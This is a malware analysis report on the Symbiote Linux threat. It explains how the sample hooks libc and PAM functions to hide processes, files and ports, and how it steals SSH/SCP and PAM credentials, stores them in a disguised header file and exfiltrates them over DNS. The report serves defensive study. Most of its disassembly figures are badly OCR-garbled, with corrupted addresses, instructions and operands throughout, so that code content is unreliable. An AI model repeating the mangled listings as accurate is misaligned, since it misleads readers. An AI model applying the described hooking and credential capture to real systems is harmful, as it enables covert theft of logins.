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Summary

Symbiote is a Linux threat that hooks libc and libpcap functions to hide the malicious activity.
The malware hides processes and files that are used during the activity by implementing two
functions called hidden_proc and hidden_file. It can also hide network connections based on
a list of ports and by hijacking any injected packet filtering bytecode. The malware’s purpose
is to steal credentials from the SSH and SCP processes by hooking the libc read function.
The extracted credentials are encrypted using RC4, stored in a file on the system, and then
exfiltrated to the C2 server via DNS requests.

Analyst: @GeeksCyber
Technical analysis
SHA256: 121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662c924

This is a 64-bit ELF shared object that appears to be an early development build for
Symbiote malware. Newer versions of this malware have even more functionalities which are
described in BlackBerry’s analysis. The file is not stripped.

The malware hooks the following functions: fopen, fopen64, pam_authenticate,
pam_set_item, read, readdir, readdir64, and recvmsg. We will give details about the hooks
implementation.

The dIsym function is utilized to obtain the address of fopen, and then the process calls the
original function (OXFFFFFFFFFFFFFFFF = RTLD_DEFAULT):
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text: 0000000800001 1ALE ; Attributes: bp-based frame
Ltext:easpaea000881A1E
text:epeee00e00801LALE public fopen
text:00000006000081A1E fopen proc near
Ltext:boepbeaeeaealAlE
.text:00000000808081A1E var_S8= qword ptr -52h
.text: 0000000000001 haystack= gword ptr -48h
text: 080000088008 1ALE n= qword ptr -38h
text:Be80008880881A1E var_38= byte ptr -38h
text:0e00008880001ALE lineptr= gword ptr -28h
text:e000000000881LALE stream= qword ptr -18h
text: 00000006800081A1E var 18= qword ptr -18h
text: 0000000080081A1E var 8= dword ptr -8
.text:B0000000088801A1E var_4= dword ptr -4
Ltext:eaepaea000081A1E
.text: 000000088000 1ALE ; _ unwind {
Ltext:aeeeeaaa88881A1E push rbp
text: 0200088800 1ALF mov rbp, rsp
Jtext:epeeeaeea0281A22 sub rsp, 5S@h
text : 2000008000001LA26 mov [rbpt+haystack], rdi
Ltewt : BREERABRREB81LAZA mov [rbptvar 58], rsi
Ltext: BREE8020088881LA2E mov rax, cs:orig fopen_5607 .
.text:BEEERAGAERER1ASS test rax, rax Figure 1
text:B880000880081A38 jnz short loc_1AS7
L 4
text:eeeppaEERERALASLA lea rax, aFopen_@ ; "fopen"
text:eaa00000008081, 41 mov rsi, rax 3 name
text:opboopooopelidd mov rdi, @FFFFFFFFFFFFFFFFh ; handle
text:2080000000001048 call _dlsym
text:2002022008881A58 mov cs:orig fopen 5687, rax
| '
bl s =
Jtext:BogReeaRRERR1AST
.text:000080000801A57 loc_ 1AST:
text:aa8000088001A5T mov rax, cs:orig_fopen_5687
Ltext:aae8008888001A5E mov rcx, [rbptvar_58]
text: BBEEE0E88001A62 mov rdx, [rbpt+haystack]
JgexteleoaeaaeaealAce mov rsi, rcx
text: 8000080008081A69 mov rdi, rdx
Jtext:Bee0082008081A6C call rax ; orig fopen_5687

When an application tries to open the “/proc/net/tcp” file, which contains all TCP connections,
the execution flow of the hooked function is different:

Ltext:Baa8808888001A6E mov [rbp+stream], rax

Ltext:BBEE80ERE8R01AT2 mov rax, [rbp+haystack]

text:200000000001A76 lea rsi, needle 3 "/proc/net/tcp”

text : 0000000800001A7D mov rdi, rax ; haystack

text:a008000000801A808 call _strstr

ctext:BEE0E8888881A55 test rax, rax

.text: 000P00B000R01ABE jz short loc_1A91 Figure 2

=

LLext:eepaea0080881A8A cmp
Ltext: 2280088088881 A8F jnz

[rbp+stream], @
short loc_1AS9A




The ELF file creates a temporary file by calling the tmpfile method, reads the first line from
the above file, and writes it to the newly created file:

I

Ltext:eappaaapeea81A9A

Ltext:aaeeeaa288881A9A loc 1A9A:

text: BRAEEEEAE2BBLA9A mov [rbp+lineptr], @

Ltewt: 2R02008200881LAA2 mov [rbptn], @
Ltewt:dooea08000801 88 call _tmpfile

text: BREEE62000881LAAF mov [rbptvar_16], rax

ctewt: BRE2062000881LAB3 mov rdx, [rbptstream] ; stream
text:oa60000000801A87 lea rcx, [rbp+n] .
.text : 00POAROROABALABE lea rax, [rbp+lineptr] Figure 3
text:epeepeaaea881ABF mov rsi, rcx 3 m

text: /0eRE08008801AC2 mov rdi, rax ; lineptr
text: eaoee08000801LACS call _getline

tewt: 2000008008801 ACA mov rax, [rbptlineptr]

text: BREEE680688881LACE mov rdx, [rbptvar_18]

Ltext: 00RR888800801LAD2 mov rsi, rdx ; stream
Ltext: /0RRE88808881LADS mov rdi, rax s
text:oaa80088808001A08 call _fputs
text:aae0008880881A0D jmp loc_lB&4

The file is read line-by-line using the getline function. In the case of returning -1 because of a
failure (including end-of-file condition), the process closes the file and frees the memory area
allocated to the line:

] i (5
Ltext:abpaEEBEEE8B1E64
text:peepee0200801864 loc_1BR4: ;5 stream
. text: 0000000080081864 mov rdx, [rbp+stream]
Jtext:peEREEREERERLEEE lea rex, [rbp+n]
.text:000000008000186C lea rax, [rbp+lineptr]
Stext: 0RoR8E206201878 mov rsi, rcx HE]
.text:0600000000001873 mov rdi, rax ; lineptr
text:pe00e00800801876 call _getline
Jtext:eopppR2808881E7E Ccmp rax, @FFFFFFFFFFFFFFFFh
.text:peeae008800880187F jnz loc_1AE2
— L , Y
il e =
Ltext:BEEEREEREBRBB1EE5S mov rax, [rbptstream] text: BEEREEREEREA1AE2
text: 8800080881859 mov rdi, rax ; stream text: 0000000080088 1AE2 loc 1AE2:
Jtext:BREEREEREBBB1EBEC call _fclose Jtext : BEERERRARRARLAEZ mov [rbp+var_8], @
.text:20000000000818591 mov rax, [rbp+lineptr] text : 000000002088 1AEY mov [rbp+var 4], ©
Ltext:ooe000280881695 mov rdi, rax ; ptr text:peooeea00801AF8 Jmp short loc_1EB34
text:000080000081898 call _free
Ltext:eaee08028808818590 mov rax, [rbp+var_18]
LJtext:pppeeeeeRRRR1EAL mov rdi, rax ; stream
Ltext:opeeaeE808818A4 call _fflush
text:2080000080081BA9 mov rax, [rbp+var_18]
Ltext : pARAREAG86B61EAD mov edx, @ ; whence
Ltext:PRRRBBARRRRR1EE2 mov esi, @ ; off
Ltext:pese06800600001687 mov rdi, rax ; stream
Ltext:BEEEREEREBBB1EEA call _fseek
.text:8000000000081BEF mov rax, [rbp+var_ 18]
Figure 4

There is a function called gen_proc_net_port implemented by the malware. The purpose of
this function is to retrieve a list of ports that should be hidden. Whether a line read above
contains any of the ports, the line is not written to the temporary file, and the process moves
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to the next line:

FEE

.text:6008000000001AF2

.text:0600008008001AF2 loc_1AF2:

-text:@200000000001AF2 mov edx, [rbpt+var_4]

.text :/600600000001AFS mov rax, cs:hidden_ports_ptr
.text:e0000008000001AFC movsxd rdx, edx

.text :/600600000001AFF mov edx, [rax+rdx*4]
.text:@000000000001802 lea rax, [rbptvar_3@]
.text:0000000000001606 mov esi, edx
.text:e0000008000001688 mov rdi, rax
.text:06006000600001808 call gen_proc_net_port
.text:8e00000000001618 mov rdx, rax
.text:06066060006016813 mov rax, [rbp+lineptr]
.text:0000000000001817 mov rsi, rdx ; needle
.text:00060060000001618 mov rdi, rax 3 haystack
.text:@608000000001610 call _strstr

.text :0000000000001822 test rax, rax
.text:eoeeeeeeee001E25 jz short loc_1B3@

Y h J
Ltext:eepospe000001527 mov [rbp+var_8], 1 Ctext:espeapaapeaa1638
.text:@2R0002200001B2E jmp short loc_1B48 .text:eeee000000001830 loc_1B3@:

.text:@a0RRAEEEB0R1E30 add [rbp+var_4], 1
: |
_ ¥
IEHE]

Jtext:@eeepe000001848
Jtext:eeeee0ee0e001B48 loc_1B48:

.text:06060060060881B48 cmp [rbp+var_8], @
Jtext:eeeee0000000164C jnz short loc_1B63
A J Y

.text:p0000000006001B4E mov rax, [rbp+lineptr] .text:2000000000001E63
.text:peceeeeseeelbsz mov rdx, [rbptvar_le] .text:0000000000001E63 loc_1B63:
.text:0000000000801B56 mov rsi, rdx 3 stream .text:8a00000008001863 nop
text:0000000000001859 mov rdi, rax HI
.text:0000000000001B5C call _fputs
.text:peceepeereeelbel jmp short loc_1B64

Figure 5
The function implementation is displayed in the figure below:
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Ltext:oappeee008881790 gen_proc_net_port proc near
Ltext:oapaoaapaaa01790

text:eae0000008001790 var 1C= dword ptr -1Ch
text:00000000000601790 var 18= qword ptr -18h
text:00600000088001790 var 3= qword ptr -3
Ltext:oapoeaapaaael 790D

.text:0600000800001790 ;  unwind {
.text:B068000888001790 push rbp

Ltext:Baa8800808800179E mov rbp, rsp
ctext:Ba880000880017A1 mov [rbpt+var_18], rdi
Ltext:B0000000080817A5 mov [rbptvar_1C], esi
.text:00000000000017A8 lea rax, a@l?345678%abcd ; "9123456739ABCDEF"
text: 2062000000801 7AF mov [rbptvar_8], rax
.text:00800000008017E3 mov rax, [rbptvar_18]

.text: 0600000800001 7E7 mov byte ptr [rax], 3&h ; ":'
.text:Ba880000088001 764 mov rax, [rbp+var_18]
Ltext:Ba800008880017BE lea rdx, [rax+l]
Ltext:Baa80008880017C2 mov eax, [rbp+var_1C]
text:eoeeaee000817C5 lea ecx, [raxt8FFFh]

text : 608060000806817CE test eax, eax
text : B868688688886817C0 cmovs eax, ecx

Text: 0000000881708 sar eax, BCh :
.text:0600000800001703 cdge F]gure 6
.text:B060000080001705 add rax, [rbp+var_8]

ctext:pa080000088001709 movix  eax, byte ptr [rax)]

text:Baa800028800170C mov [rdx], al

.text:e00000000800170E mov rax, [rbptvar_ 18]

text: 0008000000001 7E2 lea rcx, [raxt2]

ctext: 0062000000801 7E6 mov eax, [rbptvar_1C]

Ltext:B0000000080017E9 lea edx, [raxt+aFFh]

Text:eaeaaeaaaaaal JEF test eax, eax
LText:aaeaseaa8a8817Fl cmovs eax, edx

SdexteeteepaeeRe81l7F4 sar eax, 8
Text:eaeaaeaeeaa8l7rF7 mov edx, eax

text: 80eee000000817F9 sar edx, 1Fh

.text : 0060600008080817FC shr edx, 1Ch

ctext : 08608RE08086817FF add eax, edx
Ltext:08020000008881801 and eax, BFh

Ltext: 800000088881 8684 sub eax, edx
.text:B008000000001386 cdge
Ltext:aaeeppRa88001308 add rax, [rbpt+var_8]
text:B08800008000138C movIx  eax, byte ptr [rax)]
Ltext:B00000000000130F mov [rcx], al
text:2000000000801811 mov rax, [rbptvar_ 18]

The hooked function returns the file descriptor corresponding to the temporary file. The
fopen64 function is hooked in a similar way.

The dIsym function is utilized to obtain the address of pam_authenticate, and then the
process calls the original function:
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text:oapaaaR0aaE2361
Jtext:ooepooapooep2sBl
Ltext:eapebapeaae2361
Ltext:oopeoapEeaE23681
Ltext:eapioReEaRE23681
Ltext:eapaeaaeeaE2361
Ltext:oappeapeaae2361
Ltext:oappeanooane2361
Ltext:oappaapaaE2361
Jtext:ooopooapooep2sB1
Ltext:eapeoapeaae2361
Ltext:oopeoapoEaE23681
Ltext:eapioapeEaRE23681
Ltext:oapaoaaEeaRE2362
Ltext:oapeeaaeaa02365
Ltext:oapeoanooae2366
text:oappoaapaaa02380
Jtext:oeopooopoeae23Ca
Ltext:apbbaoaaaae23CA
Ltext:Gapeoapoaae2305
Ltext:BepboaopBaRR253ER
Ltext:eapaoaaEeaRE23E6
Ltext:oappeapEaaRR23F2
LtLext:oapeoan0eaRe23F5

var_468= gqword ptr -468h
var_453= qword ptr -458h
var_44C= dword ptr -44Ch
var_448= qword ptr -448h
var_438= qword ptr -438h
var_438= gword ptr -438h
var_428= gword ptr -428h

5=

var_1C= dword ptr -1Ch

ptr

;3 _ unwind {

pus
Mo
pus
sub
Mo
Mo
Mo
Mo
Mo
Mo
tes
jnz

byte ptr -428h

= gword ptr -18h

h rbp
rbp, rsp

h rbx
rsp, 458h
[rbp+var_448]
[rbp+var_44C],
[rbptvar_428],
[rbptvar_438],
[rbptvar_438],
rax, cs:orig_pam_authenticate 5982

t rax, rax
short loc_2414

g2
@
e
a8

Jtext: p0eRE00R000823F7 lea
LSgext: epeaenaeaaee23FE mov
text: 60e0008000002481 mowv
Ltext: 6080808000002488 call
LTewt: BReE0820686 2480 mov

L J
rax, aPamfuthenticat ® ; “pam_authenticate"
rsi, rax ; name
rdi, @FFFFFFFFFFFFFFFFh ; handle
_dlsym

cs:orig_pam_authenticate 5982, rax

‘9

il s 5

Ltext:egapaapaoaap2414
Ltext:eaapbappeanp2d4ld
Ltext:egapbappoaan2d4ld
Ctext:easpoapeoaae241B
gext:ooopoeapooaa2421
fext:boaeoooooaae2428
Ltext:eeobbapaaaae2424
Ltext:eeobbapaeaae242D

The malware calls the pam_get_item method in order to obtain the following information: 0x1
= PAM_SERVICE - the service name, 0x4 = PAM_RHOST - the requesting hostname, 0x2
= PAM_USER - the username. There is also a function call to getaddrlist, which will be

loc_2414:

mov rax, cs:orig_pam_authenticate_ 5982
mov ecx, [rbptvar_44C)]

mov rdx, [rbptvar_443]

mow esi, ecx

mow rdi, rdx

call rax ; orig pam_authenticate 5982

explained in the upcoming paragraphs:

Figure 7
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] sl =

text:
text:
fext:
dext:
dext:
dext:
dext:
text:
text:
text:
dext:
dext:
dext:
dext:
dext:
text:

GReaaaameE245C
GpeoaaaaaEE2443
aaaoaapaanRE 2444
GpaBaaaaREE244F
apaaaaaaaREE2452
gpeaaoaaapea2457
gpaaaaa0aRea245E
agppoapaeapR24a5
GREEaaeaaRE 2464
gaeoaaaaaRa246D
eappaaaReaRR2472
GpaBaaaaRRE2479
apeaaaaapRE2488
gpeaaoaae82485
gpeaaaaoapeE2488
agppoapaaaae24al

lea
Mo
M
Mo
call
lea
Mo
Mo
Mo
call
lea
Mo
Mo
Mo
call
call

rdx, [rbptvar_423]
rax, [rbptvar_443]
esi, 1

rdi, rax
_pam_get_item

rdx, [rbp+var_438]
rax, [rbpt+var_4438]
esi, 4

rdi, rax

_pam_get item

rdx, [rbptvar_438]
rax, [rbptvar_443]
esi, 2

rdi, rax
_pam_get_item
getaddrlist

Figure 8

Based on the information extracted above, the process constructs the following string “pam|

<getaddrlist result>|<PAM_SERVICE>|<PAM_RHOST>|<PAM_USER>|<cs:pampassword>".
There is a call to a function named saveline with the “/usr/include/linux/usb/usb.h” parameter
(see figure 9). This particular function will be dissected in the upcoming paragraphs.

text
text

text

text

text

text

tText

Text
text

dext:
text:
: BEGEREBEBERBE 2407
dext:
text:
dext:
text:
: BEGEREBEBEAB6 24C2
dext:
text:
: BRGEREBREEHB6 2402
dext:
text:
dext:
text:
: BEBEREBEEAEE 2AEA
dext:
text:
: BRGEREBHBEBE 24F 2
text:
text:
dext:
: BeaEREREEaEE 2584
: BEAEREREEARE 2580

rBeapaaaaEeaE2402
BaapaaaaEeaE2496

ggeaapaaaaee2490
ggeeopaaaaRe 2404

aaeaaaaaa008 244AE
gaeaapoaaa8 2461
aaeaapoaaR08 2468
gpeaapEoeR20 2466

gpeaoaEEaaREe24C9
gaeaopaaaaRe24CD

aaeaaaaaaa08 2406
gaeaapoaaae8 2409
aaeaaeaaaa08240C
gpeoapaeeRe824E1

gpeaoeEEaREE24E9
gpeaoREEaaReaE 24EE

aaeaaaeaa00824F5
gaeaapaaae024FA
aaeaaeoaaRa2581

Mo
maw
Mo
M
Mo
Mo
Mo
Mo
lea
lea
Mo
M
Mo
Mo
Mo
Mo
Mo
maw
call
M
Mo
call
lea
Mo
lea
call

[rbptptr], rax

rbx, cs:pampassword
rax, [rbptvar_4338]
rg, rax

rax, [rbptvar_438]
rdi, rax

rax, [rbpt+var_4238]
rcx, rax

rdx, aPams5555
rax, [rbp+s]

rsi, [rbptptr]
[rsp+a6Bhtvar_458], rsi
[rspt+daeBh+var_468], rbx
ré, ré

ré, rdi

esi, 488h

rdi, rax

eax, @
_snprintf

rax, [rbptptr]
rdi, rax
_free

rax, [rbp+s]
rsi, rax

rdi, aUsrIncludelinu ;
saveline

3 5

;optr

e
pam|¥s | ¥s |%s | ¥s | ¥s\n

3 maxlen

"fusr/include/linux/usb/usb.h"

Figure 9

The ELF binary implements an erase function called erasefree. It overwrites an area with
zeros, and then the pointer which points to this area will be freed:
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ol s =

text:
text:
text:
text:
text:
text:
text:
gext:
gext:
text:
text
text:
text:

gReoaaaaRRE2518

BREEEAEER2082518 loc_2518:

gpEEaaaa2282518 mov
apaaaaaeaea2517 mov
egeppaaBREERE251A call
gpaaaaaaaaea251F mov
eReEEReERRR2522 add
BaapREaaEEEE2529 pop
0068000082524 leave
GeeaaeRRERRa252E retn

rax, cs:pampassword
rdi, rax

erasefree

eax, [rbpt+var_1C]
rsp, 458h

rba

: GE00ERARBOR252E8 3 } // starts at 23B1

800Ea60000082528 pam_authenticate endp

gpeoaoaeaea2526

Jtext:00000000000028C0 erasefree proc near
Liext:eaaa00200080802508
text:00600600880028C8 s= qword ptr -3
Lexteeaeaaae20002800

Lext:eaaaaaeeee028C8
Ltext:eea80880208882508 push
Lewt:eeaaaaae8880828C1 mov
Jtext:eeaeeaee288828C4 sub
Lexteoeeoa0028808028C8 mov
LJext:eapapaeaaaa828CC cmp

unwind {
rbp
rbp, rsp
rsp, leéh
[rbpt+s], rdi
[rbp+s], @
short locret_ 28FF

Ltext:206806000080028D1 jz

il s 5

text
text
text
text
Text
text
text
text
text
text
text

rBBepaaapREeR2803 mov
rBBapaoapeaaa2807 mov
: BeBRRBBaERBB250A call
rBBaaaoapaaa280F mow
rBBaaaeaRREaR28E2 mov
1 BBE0R00RRERR2EE0 mov
rBBaaeaaaaaR28EE mow
: BE8E00DEEERBB2EEE call
1 BBERREERRERR28F3 mov
tBBaaaeaRRERR2EFT mov
: B8B00BBEERBB2EFA call

rax, [rbp+s]

rdi, rax B
_strlen

rdx, rax =
rax, [rbp+s]

esi, @ g
rdi, rax -
_memset

rax, [rbp+s]

rdi, rax :
_free

ptr

il e =

Jtext: eapeoanaoane23FF
Jtext: eapebanaeaRe23FF
Ltext: eopeaonaeape2aFF
Ltext: bapaoaaneane2088
text:bopobaapaaRR2920
Jtext:bapioaapaanR2920
Jtext:eepaoaapaae2908

locret_28FF:

leave

retn

; } // starts at 28Ce
erasefree endp

The dIsym function is utilized to obtain the address of pam_set_item, and then the process

calls the original function:

Figure 10

Figure 11
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dext

text

dext

text

dext

text:
dewxt:

GReEaaaeaREE2313
eaepaaaReaRR2313

: BREEEREERARER2313
dext:
dext:
dext:
text:

apeaaaaaREB2313
gpeoaoaeaRRE2313
gpeoaaaeaREE2313
agppaapaeeRR2313

: BRAEEERERABE2313
text:
fext:

GReEaaaeaREE2313
eappaeaReaRR2313

: BREEEEEERARE2 314
dext:
text:
dext:
text:

apaaaaaaaREB2317
gpeoapaaaREe2318
apaaaaaeaREa231C
agppoopaaRRR2320

: BRAEEERERARBR2323
text:
dext:

GoeoaaaaaRE2327
eappaaaReaRR232E

rBaeRReaREERE235]

public pam_set item
pam_set_item proc near

s= gword ptr -38h
var_2C= dword ptr
var_28= qword ptr
var_14= dword ptr

-2Ch
-28h
-14h

; _ unwind {

Ltext:feppe00000882333 lea
Sext:eaeaaeaaaaa82338 mov
Text:eaeaaeaaea882330 mov
text: eeeeee0000082344 cal
text : 0060800000082340 mov

push rbp
Mo rbp, rsp
push rbx
sub rsp, 38h
mow [rbpt+var_28], rdi
Mo [rbptwvar_2C], esi
Mo [rbpt+s], rdx
Mo rax, cs:orig pam set item 5051
test rax, rax
jnz short loc_2358
4
rax, aPamSetItem @ ; "pam_set_item"
rsi, rax 3 name
rdi, @FFFFFFFFFFFFFFFFh ; handle
1 _dlsym

cs:orig_pam_set item 5951, rax

X

il s =

text
text
text
dext
text
Text
text
text
text

The process expects that the item_type value is equal to 0x6 (PAM_AUTHTOK), which is the

rBBaapaaaREEa2358
rBBeapaaeREER2358
rBBeapaaeREEE2358
rBBaapaaaRBaR2357
rBBageoaaRaaR2356
rBBaaaoaaREaR235E
rBoeppooaREaR23R2
BEaapaaEEEa2 304
rBBaaaaaaREaR2367

loc_2358:

mov rax, cs:orig_pam_set_item_5951
mov rdx, [rbp+s]

mov ebx, [rbptvar_2C]

mov rcx, [rbptvar_28]

Moy esi, ebx

Mo rdi, rcx

call rax ; orig pam set jtem 5351

authentication token (usually it's a password):

1 Figure 12
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text:eapeep000082369 mov
Jtext:aeapooapaeae23eC cmp
text:@eee0000080082378 jnz

[rbpt+var_14], eax
[rbpt+var_2C], 6
short loc_ 2347

=

LJtext:eapapaea8882372 cmp
Ltewt:B0EE08080882377 jz

[rbpts], @
short loc_ 2347

v

[l i 55

Ltewt: bepReeaeea82379 mov
Jtext:aegeoaepaea02388 test
ctext:Baa80080080002383 jz

rax, cCs:pampassword
rax, rax
short loc_2394

Ll s 55

Ltext:eaep0e0000082385 mov
Ctext:eespoapaeaaa23aC mov
Jtext:0e0000000008238F call

rax, cs:pampassword
rdi, rax
erasefree

X

il e =

Ltext:eagooapaaaa02394

text : 60806266068662394 mov
Text:eEeeaaaaaaaa2398 mov
Ltext:aep0e00000882398 call
LSdextepeaaeaaea882348 mov

Ltext:2E0E200808802394 loc 2394:

rax, [rbp+s]
rdi, rax -
_strdup

cs:pampassword, rax

s

Figure 13

The disym function is utilized to obtain the address of readdir, as highlighted below:
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il i =

tLext:oogooopaoaaeloch
Ltext:eogooapaaaa0lasD
.text : 0008000008001660 ; Attributes: bp-based frame
Ltext:eepbeapaeeaelosD
Ltext:e0080000088801660 public readdir
.text:e00800000080801660 readdir proc near
Ltext:eesooapaaea0locD
text:eoae000088801660 var_18= qword ptr -13h
text:e000000000801660 var_18= qword ptr -1eh
text:e0000000008001660 var_ 8= qword ptr -3
Ltext:oepbeapaeaaelasD
Ltext:e00000000080081660 ;3  unwind {
.text:pe08800008881660 push rbp
Ltext:eep8e0000088166E mov rbp, rsp
Ltext:eoaes00888801671 sub rsp, 26h
Ltext:088000088001675 mov [rbpt+var_18], rdi
Ltext:ee00200800001679 mov rax, cs:orig readdir 5469
text : 6086686680868081680 test rax, rax
.text:2060200808081683 jnz short loc_1sA2
_ Y
i 55
Ltext: epa000000801685 lea rax, name "readdir
LSext: epeapaaaaaae168C mov rsi, rax 3 Rname
text:eappeap00a08168F mov rdi, @FFFFFFFFFFFFFFFFh ; handle

text:eeppeaa000881696 call
TTexti:epeaaa0008881698 mov

_dlsym
cs:orig readdir_5469, rax

The malware implements a function called check_proc, which will be explained in a bit.
Depending on the boolean value returned by this function, the process calls the original

readdir method and then hidden_file or hidden_proc:

Figure 14
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text: epaoaaR080810A2
text:00000000000016A2 loc_1BAZ2:
text:0E200000080016A2 mov rax, [rbp+var_18]
text ; 00000000000016A6 mov rdi, rax
text:2000000006880816A9 call check_proc
text: 0800000000001 6AE test eax, eax
text:0000000008016B6 jz short loc_16BF

Y Y

[l =t

=

.text:0800000080801662 lea
Ltext:eepea06868801689 mov
. text:080000000800168D jmp

rax, hidden_proc
[rbpt+var_8], rax
short loc_16E1l

text
text
text

text
text

BRBREaEEEEEE16EF

: 86000000000816BF loc_ 16BF:

: BBE0B0RERRRRL1EEF lea
. BpepeRRRRRRRlECE mov
: BBE0R0R8088816CA Jmp

rax, hidden_file
[rbp+var_8], rax
short loc_16E1l

v

\ K ]

FEE

.text:oebopopoBeB81l6EL

.text:00000000088816E1 loc_16EL:

.text:00000000800016E1 mov rax, cs:orig_readdir_5469
text:00000000000016E8 mov rdx, [rbp+var_18]

. text: 0000000008016EC mov rdi, rdx
text:6000000000800816EF call rax ; orig_readdir_5469
.text:00060000000016F1 mov [rbp+var_18], rax
.text:00000000808016F5 cmp [rbpt+var_18], @
.text:00000000888016FA jnz short loc_16CC

Figure 15

il i =

text:eeappoaapaealoCC

.text:00000000000016CC loc_16CC:
.text:00000000000016CC mov rax, [rbp+var_18]
Ltext:0000000000001600 lea rdx, [rax+13h]
text:600000808061604 mov rax, [rbp+var_g]
text: 5000000000080816D08 mov rdi, rdx
.text:0008860000008160B call rax

.text: 00600000080160D test eax, eax
.text:0000600008880160F jnz short loc_16FE

The readdir64 function is hooked in a similar way.

The disym function is utilized to obtain the address of recvmsg, and then the process calls

the original function:
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dext
text
text
text
text
text
text
text
dext
text
text
text

BEaReEEaEEEE2E15
BEapeaaaEREE2815
rBBaaaaaaREER2815
rBeeapaaeREEa281e
rBBaaeaaaREaR2819
s BoaapaaaREEa2B1A
:Boagaoaapaaa2alE
rBBaaaoaaREER2021
rBoeppoaaREaR2a25
s BEaapaaEEEaa2028
rBBEaaEERREER282F
rBBeoaeaaREER28352

x

push
mav
push
sub
mav
mav
maw
mav
test

unwind {

rbp

rbp, rsp

rbx

rsp, 68h
[rbp+var_54], edi
[rbpt+var_s@], rsi
[rbptvar_&4], edx
rax, cs:orig recvmsg 5816
rax, rax

short loc_2851

jnz
|i |

Ll e 55

Ltext:oae00000000020834 lea
Ltext: eappsaaeeape2836 mov
Ltext: eappseaeaepe283E mov
text:paeEEREEE2002845 call
Jtext:eoppbepaeepe2eds mov

rax, aRecvmsg @& ; “"recvmsg"
rsi, rax 3 name
rdi, @FFFFFFFFFFFFFFFFh ; handle

_dlsym

cs:orig_recvmsg 5816, rax

X

Figure 16

] sl =

dext:
dext:
dext:
dext:
dext:
dext:
dext:
dext:
dext:

eappaaeaaE2851
GapoaapaaaRE2a51
eappaaaReaRR2851
aaepaaaaeaRE2858
aappaaaaaapR2856
aaepaaaaaapR2a5F
aapooapaaaRE2an2
agppaapReeRR2ae5
aGapeaapaame2e67

loc_2@51:
mav rax,
Mo edx,
mow rbax,
mov BCH,
mow rsi,
mov edi,
call

cs:orig_recvmsg_ 5816
[rbp+var_&4]
[rbp+var_&8]
[rbp+var_54]

rbx

ecx

rax ; orig_recvmsg 5816

The malicious process expects a specific message structure i.e. message[8] = Oxc,
message[16] != 0, as displayed in the figure below:

=

LLext:8000000000082883 mov
. text: 0800000000002087 mov
. text : 9000000002084 cmp
.text:8000000000082880 jz

rax, [rbptvar_g@]
eax, [rax+8]

eax, BCh

short loc_20898

=

Figure 17

e =
.text:2008000000002093

. text:pOOORRRREE002098 loc_2098:
text:9000000000002098 mov
.text:20002000000020%C mov
. text: 000020000000209F
- text:00000000006820843 mov

- text : 22020000000028AT7 movix
. text:O000RER0E0020AA cmp

. text:900000000080284E 2

rax, [rbptvar_6@]
rax, [rax]

mov [rbptvar_48], rax
rax, [rbptvar_s8]
eax, word ptr [rax]
ax, 18h

shert loc_2089

e =

v

-text:P080080000002069

-text:0@00000000002089 loc_28B9:
. text : PORARABROBRAZOBY mov rax, [rbp+var_68]
-text:000000000002060 mov rax, [rax+leh]
-text:0R200800000020C1 mov [rbp+var_38], rax
. text:00000800000@20C5 cmp [rbp+var_38], @
- text:000O2080000020CA jz short loc_2008

J L

]

- text : 00060000000020CC mov
. text:0800000000002000 mov
text:0000000000002003 test
. text : B000000000002006 jnz

rax, [rbptvar_38]
rax, [rax]

rax, rax

short loc_28E1

The ELF binary converts unsigned short integers from host byte order to network byte order
using htons. The message is copied to another memory area using the memcpy method:
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] sl =

Lfext: bapeoapabape21CF
gext: bopebopaoape21CF
fext: bapebapaeaRe21CF
Jgext: eapaaaaaeape2103
Jtext: eapeaaaaaape21D7
Ltext: eappooapaanez DA
Jext: eapabaaaaapa210C
text: eopoooapoape2lEL
Lfext:eappooopaane21E4
gext: bopebopaeaRR21ET
Lfext: bepaBaRaeaRE21EE

loc_21CF:

M
MOV ZX
MOV Z X
man
call
MOVZX
maw
maw
movsxd

AN, ax

edi, eax ; hostshort
_htons

ecx, ax

edx, [rbptvar_14]

rax, [rbptvar_2@]
eax, word ptr [rax+d4]

rax, cs:hidden_ports ptr
rdx, edx

ctext:aa00080000021F1 mov eax, [raxtrdx*4]
Lext:eapeaaapaeae21rF4 cmp eCx, eax
Ltext:aaee0088880021F6 jz short loc_2221
Y
I
text:BBEEE0BE880021FE mov rax, [rbpt+var_28]
text: 00000000000021FC movzx  eax, word ptr [rax+g]
Ltext: 6BeaEE6068082200 movIx eax, ax
text: 60080000000802203 mov edi, eax ; hostshort
Ltewt:BBEEE020088022085 call _htons
LJgext: BREaEa000006 2 288 MOVIN ecx, ax
text:a88000068002280 mov edx, [rbp+var_14]
Ltext:Bae80088880022108 mov rax, cs:hidden_ports_ptr
Jgext: /00p00a000002217 movsxd rdx, edx
Ltext: 2000008000002214 mov eax, [raxtrdx*4]
Lgext: bbeaaaae8882210 cmp eCcx, e2ax
Ltewt: BREREEEREEBA221F jnz short loc 2224

In the check_proc function, the malware gets the directory stream file descriptor and

computes the following path “/proc/self/fd/<File descriptor>":

Figure 18
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il e 5

Ctext:eReaasaaeaeal3ACc

JtexteReReaaaeaea1l3ACc

.text: 00000000000013AC ; Attributes: bp-based frame

Ltext:eppaaaeapeeal3AC

.text:0000RE000880013AC check_proc proc near

Ltext:epeaaaeaR8813AC

text:epeepaeRa88813AC dirp= qword ptr -68h

Ltext:ea8000000888013AC buf= byte ptr -88h

.text: 0000BE0BB8B013AC s= byte ptr -S8h

text:eaeea0000000813AC var_C= dword ptr -8Ch

Ltext:epeepaeRaeea13AC var_8= qword ptr -8

JtexteRepesaaeaeal3ACc

Ltext:00000000000013AC ; _ unwind {

text:eaeeae08888813AC push rbp

Jtext:epeee000000013A0 mov rbp, rsp

.text: 0026000008138 sub rsp, 78h

Ltext:epeea000080081364 mov [rbp+dirp], rdi

Ltext:eee0882008881388 mov rax, [rbp+dirp]

text : 60e000800000138C mov rdi, rax dirp

.text:ep0000000800813BF call _dirfd

Ltext:epeepaeeaeea813C4 mov [rbp+var_C], eax

.text: PEEEROOBRABR1ICT cmp [rbp+var_C], BFFFFFFFF

.text: 00000600000813CE jnz short loc_13D4

: Y

Ll e =]
text:epeaeeepeaaalind
text:eaoeaaeeaeeal3Dd loc_1304:
Jtext:eeeepaae00001304 lea rcx, format ; "/proc/self/fd/¥d"
text: 6000000000008130E mov edx, [rbp+var_C]
text:epaeaaeea88a8130E lea rax, [rbp+s]
Ltext: 00000000000013E2 mov rsi, rcx ; format
.text: pEEEE00888813E5 mov rdi, rax ;s
Text:eae0e080080813E8 mov eax, @
text:epaepaeaa88813ED call _sprintf

Figure 19

